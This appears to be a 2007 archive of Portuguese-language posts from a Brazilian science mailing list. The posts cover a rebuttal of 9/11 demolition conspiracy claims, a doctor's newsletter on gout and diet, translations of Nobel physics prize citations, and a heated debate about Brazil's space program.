conspiracionistas pela internet comparam essa implos�o controlada com a
queda das torres do World Trade Center, e embora realmente haja alguma
semelhan�a, h� not�veis diferen�as. Como voc� pode conferir nestes outros
v�deos da implos�o da Landmark Tower,
*aqui*<http://www.youtube.com/watch?v=sIOgpxyzqq4>ou
*aqui* <http://www.youtube.com/watch?v=uGsNADQicgc&mode=related&search=>, v�
claramente como em uma implos�o controlada *o pr�dio colapsa de baixo para
cima*, e *a pr�pria estrutura se desfaz enquanto cai* � porque explos�es
iniciais j� fragilizaram todo o edif�cio.
Em contraste, na queda das torres g�meas, *o colapso teve in�cio nos andares
atingidos pelos avi�es*, e pode-se ver claramente como *a estrutura tanto
acima abaixo do ponto em colapso permanece praticamente inteira*, at� que
atinja o ch�o e se perca nos escombros:

Assista ao v�deo <http://100nexos.com/arquivo/246>

Como se pode ver no v�deo acima, o colapso das torres ocorreu n�o por causa
do impacto dos avi�es, mas pelo enfraquecimento da estrutura met�lica devido
ao inc�ndio provocado pelo combust�vel das aeronaves. Esta explica��o,
contrariada por incont�veis paran�icos que subitamente se tornaram
especialistas em estruturas, foi demonstrada de forma exemploar h� pouco com
o colapso de um viaduto em San Francisco. Um caminh�o-tanque se acidentou
abaixo da estrutura, e o inc�ndio de longa dura��o acabou causando a queda
de uma se��o do viaduto pelo enfraquecimento da estrutura met�lica. As
li��es desse acidente para conspiracionistas de 11/9 � satirizada (e
abordada a fundo) no s�tio *4/29truth.com*
<http://www.429truth.com/>(refer�ncia aos sites 9/11truth e afins).
A queda das torres g�meas foram incidentes in�ditos, e n�o � surpresa que
pare�am t�o diferentes ao que estamos "acostumados". Que as torres tenham
ca�do verticalmente, ali�s, tem uma explica��o muito simples: *in�rcia*. �
um dos vinte fatos sobre a queda das torres
g�meas<http://www.ceticismoaberto.com/referencias/quedaworldtradecenter.htm>
:

N�o havia nenhuma possibilidade de que qualquer torre ca�sse para os lados,
uma vez que um edif�cio de 500.000 toneladas possui muita in�rcia para cair
de qualquer outro modo exceto virtualmente direto para baixo.

As torres eram quatro vezes mais altas que a "Landmark Tower" no v�deo que
inicia este post.

*Veja tamb�m:*
Opera��o Northwoods: militares americanos planejando atos de
terrorismo<http://100nexos.com/arquivo/137>Em mar�o de 1962, pouco
depois do fiasco ...
Converg�ncia - I <http://100nexos.com/arquivo/215> "� evidente que pensam
ser a miss�o...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: [RN] BATERIA-PAPEL
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/08/2007 01:23

Bateria ultrafina imita folha de papel
http://g1.globo.com/Noticias/Tecnologia/0,,MUL87424-6174,00.html
---------------
[]s,

Roberto Takata



SUBJECT: NADA MENOS QUE MAIS UMA Gota
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 15/08/2007 08:32

__________________________________________________________________
DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 14/08/2007 - No.057 – ANO II

http://br.groups.yahoo.com/group/saudeparatodos
© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).

___________________________________________________________________


Olá,

Dia desses, um amigo membro da “Confraria dos Gotosos” (de acordo com o próprio), enviou uma pergunta: pessoas com Gota podem comer tomates?

A resposta: sim e não. O consumo de frutas e outros alimentos de origem vegetal com sementes deve ser evitado por pessoas que sofrem de Gota. No caso do tomate, acredita-se que as sementes resultem em alterações no pH sangüíneo, favorecendo a ocorrência de crises mais freqüentes e dolorosas.

Mas o que é exatamente essa tal de Gota? Como ela é diagnosticada e como fazer para não ser mais um membro sofredor da “Confraria dos Gotosos”?

Espero que a crônica de hoje jogue alguma luz no assunto.

Nos vemos adiante!

Dr. Alessandro Loiola.

___________________________________________________________________


NADA MENOS QUE MAIS UMA Gota

© Dr. Alessandro Loiola


Ele entrou no consultório andando torto como deve andar um Curupira. Os pés não estavam para trás, mas precisei dar uma boa olhada para confirmar isso.
- É doutor, dessa vez a pelada me pegou de jeito. O pé direito tá me matando – foi tirando o sapato com aquela cara de sofrimento digna de um Oscar.
- Pisaram em cima? Caiu, torceu...?
- Nada, nada. Joguei bola ontem, tudo certo. Beliscamos uns petiscos, tomamos umas depois, fui para casa em paz e acordei com esse despertador aí latejando – apontou para o dedão vermelho e inchado.

Nenhum sinal de deslocamento, radiografia sem fratura. Passei os remédios de praxe e pedi alguns exames. No dia seguinte ele voltou, menos Curupira que no dia anterior. Entregou os resultados e sentou feito um menino enquanto o pai checa o boletim do semestre.
- Rapaz, sabe aquele bife suculento do almoço?
- Sim.
- Pois ele estava cheio de Purinas.
- Purinoquê?
- Purinas. São substâncias presentes nos alimentos, especialmente carnes. A digestão das purinas resulta na produção de ácido úrico. Normalmente, o corpo é capaz de eliminar o excesso de ácido úrico, mantendo a concentração sangüínea abaixo de 7 miligramas por decilitro.
- Certo.
- Em algumas circunstâncias, o organismo produz uma quantidade muito grande ou perde a capacidade de eliminar o ácido úrico produzido em excesso. Como quando a gente como carnes em excesso, desidrata ou toma umas cervejas além da conta.
- Humm... – ele murmurou. Nada como um bom sentimento de culpa para despertar o compromisso com a própria saúde.
- Na temperatura corporal e em concentrações acima de 7, o ácido úrico se transforma em cristais que se depositam nas articulações, causando dor e inflamação intensa. Essa situação é conhecida como Gota. Você está com Gota.
- Afmaria, meu avô morreu disso!
- É, mas hoje em dia ninguém morre por causa de Gota. Apenas você terá que tomar alguns remédios e cuidados. Na verdade, mais cuidados que remédios.

Ainda assim, o medo dele até que procedia. Nos idos de 1900 e antigamente, toda pessoa portadora de Gota evoluía com dores articulares crônicas e incapacitantes. Após décadas de pesquisa, a Gota deixou de representar uma grande ameaça à saúde, mas continua sendo uma doença com risco de complicações sérias, podendo levar à deformidades, hipertensão arterial, diabetes e problemas renais graves.

Os principais fatores de risco para Gota incluem cigarro, obesidade e consumo excessivo de bebidas alcoólicas. No caso do nosso paciente, ele preenchia todos os critérios de risco, com louvor.

A dor em uma articulação é a manifestação mais comum: cerca de 90% dos pacientes apresentam inflamação aguda em uma única articulação, em geral nos membros inferiores. O dedão é o local mais comum da primeira crise. O diagnóstico é feito através do exame médico e de alguns testes complementares.

Toda pessoa que já sofreu um ataque de Gota deve fazer um tratamento específico para reduzir os níveis de ácido úrico no sangue. Além de prevenir novas crises, o tratamento também diminui o risco de destruição das articulações.

Para ajudar meus pacientes a lidar com a gota, costumo frisar algumas recomendações essenciais:

- Uma dieta adequada é capaz de reduzir 1-2 pontos totais nos níveis sangüíneos de ácido úrico. Apesar de parecer insignificante, essa redução pode ser a diferença entre uma vida normal ou dores permanentes.

- Evite carnes, miúdos, peixes, frutos do mar, aves e bebidas alcoólicas de todos os tipos.

- Leite, chá, café, chocolate, queijos magros, ovos cozidos, manteiga e margarina, pão, macarrão, fubá, mandioca, arroz branco, milho, vegetais, doces e frutas não causam crises.

- Os líquidos devem ser ingeridos à vontade, para que a urina esteja sempre clara. Entretanto, o álcool – especialmente a cerveja - deve ser evitado, pois pode precipitar ataques dolorosos.

- Alguns alimentos naturais, como Abacaxi, Alho, Arnica, Arruda, Camomila, Couve, Inhame, Limão, Mirtilo, Tomilho e Zedoária, podem auxiliar a reduzir os sintomas, mas não devem ser utilizados indiscriminadamente sem orientação profissional especializada.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (http://shoppinglivros.com.br/loja.phtml?f=1&ccat=60&cprod=1300&sess=a75e095792e3f17a7c802ddb1cb2e117). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Um estrago maior que o da Superinteressante
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/08/2007 09:00

Pô Oráculo333,33

a super não é tão ruim assim; veja seu último 'lançamento' em termos de blog:

http://super.abril.com.br/super2/blogs/superblog/52156_post.shtml

que tal essa relatividade? :-)

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "oraculo333" <oraculo@atibaia.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 10 de agosto de 2007 22:41
Assunto: [ciencialist] Um estrago maior que o da Superinteressante


Um estrago maior que o da Superinteressante

Por Manuel Doria em 17/7/2007

Divulgação científica de má qualidade é fonte de muitos efeitos
negativos num país como o Brasil, onde educação científica é
disponível para poucos. Popularizar desinformação provoca uma
assimetria cada vez maior entre cientistas e o público leigo, o que
pode ter conseqüências extremamente prejudiciais quando a pesquisa
científica é crucial em assuntos de interesse público.



SUBJECT: Re: [ciencialist] Re: Nobel de Física
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/08/2007 09:33

Pronto!
Agora é só vcs me mandarem a tradução dos "for" e eu completo o Imperdível até 2006.
Grato

+++++++
2001- "for the achievement of Bose-Einstein condensation in dilute gases of alkali atoms, and for early fundamental studies of the properties of the condensates"
2002- (a) "for pioneering contributions to astrophysics, in particular for the detection of cosmic neutrinos"
(b) "for pioneering contributions to astrophysics, which have led to the discovery of cosmic X-ray sources"
2003- "for pioneering contributions to the theory of superconductors and superfluids"

2004- "for the discovery of asymptotic freedom in the theory of the strong interaction"
2005- (a) "for his contribution to the quantum theory of optical coherence"
(b) "for their contributions to the development of laser-based precision spectroscopy, including the optical frequency comb technique"
2006- "for their discovery of the blackbody form and anisotropy of the cosmic microwave background radiation"
++++++++

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br
===========================


SUBJECT: Re: Um estrago maior que o da Superinteressante
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/08/2007 10:09

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> http://super.abril.com.br/super2/blogs/superblog/52156_post.shtml
>
> que tal essa relatividade? :-)

Ainda prefiro a não-bunda da Jessica Alba no blog do Mori.

(Os caras ainda chamam de "ciência gostosa", põem uma criança q mal
saiu dos cueiros como diriam os lusitanos, ora pois. Deviam pelo menos
colocar uma mulher.)

[]s,

Roberto Takata



SUBJECT: Re: Nobel de Física
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/08/2007 11:02

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> +++++++
> 2001- "for the achievement of Bose-Einstein condensation in dilute
> gases of alkali atoms, and for early fundamental studies of the
> properties of the condensates"

pela obtenção de condensado Bose-Einstein de átomos de gás diluído de
metais alcalinos e pelos estudos anteriores sobre os fundamentos das
propriedades dos condensados.

> 2002- (a) "for pioneering contributions to astrophysics, in
> particular for the detection of cosmic neutrinos"
> (b) "for pioneering contributions to astrophysics, which have led
> to the discovery of cosmic X-ray sources"

a) pelas contribuições pioneiras à astrofísica, em particular pela
detecção de neutrinos cósmicos
b) pelas contribuições pioneiras à astrofísica, que levaram à
descoberta das fontes de raios-X cósmicos.

> 2003- "for pioneering contributions to the theory of superconductors
> and superfluids"

pelas contribuições pioneiras à teoria dos supercondutores e superfluidos.

> 2004- "for the discovery of asymptotic freedom in the theory of the
> strong interaction"

pela descoberta da liberdade assintótica na tepria da interação forte

> 2005- (a) "for his contribution to the quantum theory of optical
> coherence"
> (b) "for their contributions to the development of laser-based
> precision spectroscopy, including the optical frequency comb
> technique"

a) por sua contribuição à teoria quântica da coerência óptica
b) por suas contribuições ao desenvolvimento da espectroscopia de
precisão a laser, incluindo a técnica de pente de freqüência óptica

> 2006- "for their discovery of the blackbody form and anisotropy of
> the cosmic microwave background radiation"

pela descoberta do perfil de corpo negro e da anisotropia da radiação
cósmica de fundo em microondas.

-------
[]s,

Roberto Takata



SUBJECT: Fw: vc tem como me mandar uma foto de uma experiencia provando que o ar tem massa .
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 15/08/2007 11:22

help!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: gustavo mendes
Para: leobarretos@uol.com.br
Enviada em: terça-feira, 14 de agosto de 2007 18:30
Assunto: vc tem como me mandar uma foto de uma experiencia provando que o ar tem massa .


vc tem como me mandar uma foto de uma experiencia provando que o ar tem massa .eu sou da 5ª serie

--------------------------------------------------------------------------------
Explore the seven wonders of the world Learn more!


--------------------------------------------------------------------------------


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Version: 7.5.476 / Virus Database: 269.11.15/949 - Release Date: 12/08/2007 11:03


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Foi para o espaço
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/08/2007 11:24

On 8/14/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
>
>
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Shridhar Jayanthi"
> > Agora o programa espacial brasileiro foi chutado da
> > estação espacial
>
> E isso não é apenas porq no governo Lula nada foi feito. Mas tb porq
> no governo FFHH nada foi feito. Foram 14 anos sem dar um tostão furado.


A estação espacial começou em 92 ou 93. E o Brasil entrou na estação
por volta de 96. Durante o governo FHC. O programa espacial brasileiro
nunca foi levado a sério pelo governo, mas o que era pouco virou nada.
Mas pouco é ainda melhor que nada, eu acho.


>
>
>
>
>
>
> No governo do príncipe da Sorbonne nem turista espacial houve. Embora
> a ida de Pontes ao espaço - no q tem de bom e no q tem de ruim - possa
> ser creditada mais ou menos igualmente aos dois governos. Não foi na
> gestão cefalópoda q Pontes iniciou seu treinamento.
>
> > o programa de foguetes ficou paralisado depois da explosão do
> > VLS.
>
> O programa brasileiro tb ficou parado com a explosão do VLS1 em 1999.
>
> Claro q o acidente de 2003 ganhou um tom de tragédia por conta da
> perda de vidas humanas. De todo modo, são riscos q há - podem ser
> maiores ou menores de acordo com procedimentos e verbas para
> segurança, mas jamais é zero e é significativamente diferente de zero
> - ou a Nasa tinha verba tão pequena para perder Challenger em 1986 e a
> Columbia em 2003?
>


Quatro anos depois de 1999 foi feito o segundo teste do VLS que deu o
segundo acidente. Estamos em 2007. 4 anos depois de 2003. Nem uma
reparação da base de lançamento foi feita ainda. Excerto da matéria da
época, dia 8 de setembro de 2003:

'O desastre com o foguete brasileiro VLS-1, que matou 21 pessoas em
Alcântara (MA) no final de agosto, não afeta o centro de lançamentos
nem a produção de satélites pelo Brasil, disse hoje o ministro Roberto
Amaral (Ciência e Tecnologia).

"Foi um acidente. Estamos aguardando as investigações para, a partir
delas, refazer o nosso programa que tem de atender a uma decisão do
presidente da República, que é de lançar o VLS-4 ainda no seu
mandato", disse Amaral.'

O problema não é o acidente, isso acontece. O problema é que, ao
contrário do FHC, o governo não se preocupava apenas com as
conseqüências políticas do programa espacial. Ao menos deixavam os
cientistas trabalharem antes. Sem verba mas também sem partidarização.

E esse negócio do Marcos Ponte pra mim é um marco (desculpe o
trocadilho). Você falou certo. O Pontes era para ser treinado para ir
ao espaço pela NASA/ISS numa missão científica, útil, para fins de
transferência de tecnologia deles pro Brasil. Como isso demorava
porque a AEB não conseguia cumprir a sua parte do acordo, o vôo do
astronauta foi atrasando.

Aí, o Lula, para poder botar na campanha eleitoral que foi o
presidente que mandou o Brasil pro espaço (desculpe o segundo
trocadilho), resolveu mandar pelo "programa espacial" russo. Aquele
que qualquer um que tiver 20 milhões vai viaja. Foi assim com o
Shuttleworth e com o Justin Timberlake. Fazendo uma analogia, o FHC
estava pagando um curso de formação de astronautas e o Lula comprou o
diploma.

> -----------------------
> Há muito o q se criticar a respeito dos governos do Farol de
> Alexandria e do sapo barbudo, sim, muitas coisas a se criticar. Mas há
> coisas boas. (Opinião minha, nos dois casos, as coisas boas superam as
> ruins. Claro, outros acharão q um foi melhor do q outro, q as coisas
> ruins superaram em muito as boas. Eu, por exemplo, acharia q o
> Mensalão, a despeito das demais coisas boas feitas, seria o suficiente
> para impixar o presidente eneadáctilo. Mas já foi e houve outra
> eleição. Não podemos usar outra desculpa agora para tentar fazer
> justiça. Bem, independentemente disso, não podemos é acusar os
> governos de coisas das quais eles não têm culpa. Isso seria
> desonestidade intelectual. Se estão cansados, tudo bem, mas cansaço
> não pode ser desculpa pra preguiça mental.)
> ------------------------

O que piorou na minha opinião não foi tanto a verba mas o sequestro da
ciência e dos institutos pra fins partidários e ideológicos.
Aparelhamento. Se antes os diretores tinham que ter alguma
qualificação científica, agora só uma carteirinha estrelada basta...
Urna, Takata, não é tribunal. O Mensalão ainda não foi julgado e não
tem essa de "ele ganhou na urna, então não tem problema". Isso aí é
malufismo, é aceitar o "rouba mas faz". E o cansaço pode não ser
desculpa pra preguiça mental (de ir atrás de dados), mas eu tenho
direito às minhas opiniões e de expressá-las, mesmo sem fundamentos,
assim como você tem direito de considerar o que eu digo inútil... Eu
não sou político, historiador ou cientista político nem nada do
gênero, a única coisa que me resta são as impressões que eu tenho e,
se ninguém compartilha do que eu penso e eu acho que meu ponto de
vista deve ser ao menos expressado. Enfim. Política me aborrece, eu
não vou falar mais sobre isso.

Shridhar
http://entropicando.blogspot.com

ps. Não precisa me acusar de ser tendencioso. Eu sou tendencioso
mesmo. Não gosto de Lula e do PT. Assumo. Não votei nele, não votaria
nele nunca. Não subscrevo à tese de que é tudo igual. Não acho. Lula é
um estatizador socialista (que só não muda a economia pq não pode, não
pq não quer). FHC era social-democrata. Eu preferia um (neo-)liberal
econômico, mas isso no Brasil é palavrão. Mas enfim, é o que temos. Se
a corrupção os unia, a ideologia os separa bastante. Não gosto de
algumas coisas do FHC (particularmente a reforma da reeleição e a
falta de algumas reformas), mas ao menos aquilo lá era presidente. E é
por isso que eu não vou falar mais a respeito. Já sabem qual a opinião
que vão ouvir de mim.


> Mas não há indícios de q o programa espacial brasileiro ficou pior com
> o governo Loligo, continua tão ruim qto (ou tão bom qto).
>
> Victor:
> > > Não sei força a barra não. Há muita culpa por omissão e
> > > incompetência.
>
> E isso *sempre* houve. O q se pode acusar o molusco-mór é de ter
> *continuado* com isso e não q isso tenha *surgido* em seu governo q é
> o q o editorial do estadão-ão-ão dá a entender.
>
> -----------------------
> Há muito o q se criticar a respeito dos governos do Farol de
> Alexandria e do sapo barbudo, sim, muitas coisas a se criticar. Mas há
> coisas boas. (Opinião minha, nos dois casos, as coisas boas superam as
> ruins. Claro, outros acharão q um foi melhor do q outro, q as coisas
> ruins superaram em muito as boas. Eu, por exemplo, acharia q o
> Mensalão, a despeito das demais coisas boas feitas, seria o suficiente
> para impixar o presidente eneadáctilo. Mas já foi e houve outra
> eleição. Não podemos usar outra desculpa agora para tentar fazer
> justiça. Bem, independentemente disso, não podemos é acusar os
> governos de coisas das quais eles não têm culpa. Isso seria
> desonestidade intelectual. Se estão cansados, tudo bem, mas cansaço
> não pode ser desculpa pra preguiça mental.)
> ------------------------
>
> []s,
>
> Roberto Takata
>
>


SUBJECT: Re: [ciencialist] Re: Nobel de Física
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/08/2007 12:08

Prontinho! Tudo on-line no Imperdível

http://www.feiradeciencias.com.br/premio_nobel.asp

gratus est

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 15 de agosto de 2007 11:02
Assunto: [ciencialist] Re: Nobel de Física


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> +++++++
> 2001- "for the achievement of Bose-Einstein condensation in dilute
> gases of alkali atoms, and for early fundamental studies of the
> properties of the condensates"

pela obtenção de condensado Bose-Einstein de átomos de gás diluído de
metais alcalinos e pelos estudos anteriores sobre os fundamentos das
propriedades dos condensados.

> 2002- (a) "for pioneering contributions to astrophysics, in
> particular for the detection of cosmic neutrinos"
> (b) "for pioneering contributions to astrophysics, which have led
> to the discovery of cosmic X-ray sources"

a) pelas contribuições pioneiras à astrofísica, em particular pela
detecção de neutrinos cósmicos
b) pelas contribuições pioneiras à astrofísica, que levaram à
descoberta das fontes de raios-X cósmicos.

> 2003- "for pioneering contributions to the theory of superconductors
> and superfluids"

pelas contribuições pioneiras à teoria dos supercondutores e superfluidos.

> 2004- "for the discovery of asymptotic freedom in the theory of the
> strong interaction"

pela descoberta da liberdade assintótica na tepria da interação forte

> 2005- (a) "for his contribution to the quantum theory of optical
> coherence"
> (b) "for their contributions to the development of laser-based
> precision spectroscopy, including the optical frequency comb
> technique"

a) por sua contribuição à teoria quântica da coerência óptica
b) por suas contribuições ao desenvolvimento da espectroscopia de
precisão a laser, incluindo a técnica de pente de freqüência óptica

> 2006- "for their discovery of the blackbody form and anisotropy of
> the cosmic microwave background radiation"

pela descoberta do perfil de corpo negro e da anisotropia da radiação
cósmica de fundo em microondas.

-------
[]s,

Roberto Takata




SUBJECT: Re: Foi para o espaço
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/08/2007 12:09

--- Em ciencialist@yahoogrupos.com.br, "Shridhar Jayanthi"
> A estação espacial começou em 92 ou 93. E o Brasil entrou na estação
> por volta de 96. Durante o governo FHC. O programa espacial
> brasileiro nunca foi levado a sério pelo governo, mas o que era
> pouco virou nada. Mas pouco é ainda melhor que nada, eu acho.

Sempre foi nada. Os governos brazucas nunca botaram um tostão na ISS.
Assinou-se uma carta de intenção. Um contrato para a produção de
certos equipamentos. Nunca se fez qq coisa para botar na prática o q
estava no papel.

Se os louros da viagem de Pontes ao espaço são divididos, a palhaçada
da participação do Brasil na ISS tb.

> Quatro anos depois de 1999 foi feito o segundo teste do VLS que deu
> o segundo acidente. Estamos em 2007. 4 anos depois de 2003. Nem uma
> reparação da base de lançamento foi feita ainda.

Sim, é apenas a continuidade do abandono. (Nota: pelo investimento -
se é poderemos usar esse termo - q tem sido feito no programa
espacial, os técnicos e cientistas têm tirado leite de pedra.)

> O problema não é o acidente, isso acontece. O problema é que, ao
> contrário do FHC, o governo não se preocupava apenas com as
> conseqüências políticas do programa espacial. Ao menos deixavam os
> cientistas trabalharem antes. Sem verba mas também sem
> partidarização.

Bem, a minha leitura é outra.

> O que piorou na minha opinião não foi tanto a verba mas o sequestro
> da ciência e dos institutos pra fins partidários e ideológicos.

Novamente, isso não começou em 2002. Não é exclusividade do "Nosso
Guia". É ruim? Claro. Péssimo. Mas é erro dizer q antes não havia e
começou com a gestão do molusco. Mudaram apenas as moscas.

Diga aí, quais as qualificações técnicas q tinha Ronaldo Mota
Sardenberg? Indicação política somente. Aliás, o próprio FFHH admite
em entrevista para a revista Piauí q todo o governo - do primeiro ao
escalão mais inferior - era loteado. (O q tb não é exclusividade do
tucanato, diga-se.)

> Urna, Takata, não é tribunal.

É um tribunal político. O q eu disse a respeito do Mensalão foi: não
dá pra impixar agora por causa disso. Já era. Responsabilidade
criminal é coisa pro STF julgar. Não cabe julgamento político mais. E
mais: não dá pra usar o crime do Mensalão como desculpa para derrubar
o governo atual com qq coisa. Não podemos distorcer os fatos apenas
porq. detestamos os caras q estão no poder.

> direito às minhas opiniões e de expressá-las, mesmo sem fundamentos,

Opinião sem fundamento é vazio.

Distorcer a realidade para se adaptar às convicções pessoais é
desonestidade intelectual.

[]s,

Roberto Takata



SUBJECT: Fw: Feira de Ciencias e TEcnologia
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 15/08/2007 12:13

Oi Roberto (e todos),

please,

preparem-me um texto para esse tipo de solicitação (abaixo), que é bastante comum aqui na minha pasta. Num guento mais ficar explicando que não se trata de 'uma escolha aleatória de algo diferente e interessantíssimo'. Help
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Ayla Amorim
Para: leobarretos@uol.com.br
Enviada em: terça-feira, 14 de agosto de 2007 19:13
Assunto: Feira de Ciencias e TEcnologia


Prof. Luiz Ferraz Netto

Tudo bom com o senhor?
Meu nome e AYLA e sou aluna da Escola Estadual Professor Fontes e estamos promovendo uma feira de ciencias e tecnologia , estava visitando o seu site (feiradeciencias.com.br)quando me deparei com teu e-mail, gostaria de saber se voce poderia estar me dando alguma ideias ou ate mesmo algum tema que eu poderia estar ultilizando na minha feira , algo que fosse diferente e ao mesmo tempo interessantissimo , se o senhor puder me ajudar de alguma forma agradeço desde ja .

Atenciosamente.

Ayla Isa

Belo Horizonte , MG

obs: se for possivel me responda pelo e-mail , ayla_kt@hotmail.com


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Nobel de Física
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/08/2007 12:48

Nova cara ... e homenagem.
http://www.feiradeciencias.com.br/premio_nobel.asp

críticas?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Re: Nobel de Física
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/08/2007 15:14

Prof. Léo:

Que tal link ao final, para a biografia do Alfred Nobel? É bastante
interessante. E acho que é o menos homenageado pelos fãs do prêmio.

http://www.chabad.org.br/biblioteca/artigos/nobel/home.html

Gil

Em 15/08/07, Luiz Ferraz Netto<leobarretos@uol.com.br> escreveu:
> Nova cara ... e homenagem.
> http://www.feiradeciencias.com.br/premio_nobel.asp
>
> críticas?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>


SUBJECT: Re: [ciencialist] Re: Nobel de Física
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/08/2007 17:04

Excelente idéia Gil,
mas, se eu tirar o aspecto 'divino' daquele texto, o que sobrará? Ali pulula D'us para todos os lados e inclusive "saídas pela tangente" religiosas monumentais, tal como:

>""Lemos no Livro de Bereshit que quando Adam e Eva pecaram, eles se esconderam entre as árvores no Jardim do Éden, e D'us os chamou: 'Onde estão vocês?' O que desejo saber é isto: Se D'us sabe e vê tudo, certamente sabia onde eles estavam. Por que Ele precisou perguntar 'Onde estão vocês?'"

O Rebe respondeu: "As palavras da Torá não falavam apenas sobre aquele momento, mas por todo o tempo. Assim é com a pergunta que D'us fez a Adam e Eva. Não era dirigida apenas a eles, mas a cada um de nós em toda geração. ""

Que esperteza não? E, que isso tem a ver com com o Prêmio Nobel? Por acaso foi D'us que inventou a dinamite? Se foi (indiretamente, através de Nobel), porque não pesa nas costas D'le todas as desgraças e mortes decorrentes da invenção?

aquele abraço,

Indique-me um texto que fale do homem, seus esforços, suas conquistas e seu legado à ciência que eu, com todo gosto, colocarei no Imperdível.
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Gil" <nanolink01@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 15 de agosto de 2007 15:14
Assunto: Re: [ciencialist] Re: Nobel de Física


Prof. Léo:

Que tal link ao final, para a biografia do Alfred Nobel? É bastante
interessante. E acho que é o menos homenageado pelos fãs do prêmio.

http://www.chabad.org.br/biblioteca/artigos/nobel/home.html

Gil




SUBJECT: Re: Nobel de Física
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/08/2007 17:24

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Nova cara ... e homenagem.
> http://www.feiradeciencias.com.br/premio_nobel.asp

Agora falta o hall dos nobelistas de outras áreas: química e
fisiologia, p.e.

[]s,

Roberto Takata



SUBJECT: I Jornada em Defesa do Pensamento Científico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/08/2007 17:38

A disciplina de Metodologia Científica do curso de Geociências e
Educação Ambiental do Instituto de Geociências da USP e a Sociedade
Brasileira de Céticos e Racionalistas realizarão a I Jornada em Defesa
do Pensamento Científico.

Abaixo mais detalhes e a programação:
-----------------
Data: 18 de setembro (terça-feira)
Local: IGc/USP - R. do Lago, 562 - Cid. Universitária - Butantã - São
Paulo - SP

Programação:
09h10 a 09h30: Abertura Prof. Drs. Arlei Benedito Macedo (USP) e
Renato Sabbatini (Unicamp).
09h40 a 10h20: Analfabetismo científico, Prof. Dr. Renato Sabbatini
(Unicamp).
10h20 a 10h40: Café.
10h40 a 11h20: Criacionismo, Prof. Dr. Mário de Pinna (USP).
11h30 a 12h10: Como vender o pensamento não-científico, Prof. Dr.
Francisco Stefano Wechsler (UNESP)
12h10 a 14h00: Almoço.
14h00 a 14h40: Sensacionalismo e Jornalismo Científico, - Ulisses
Capozzoli - Astronomy Brasil).
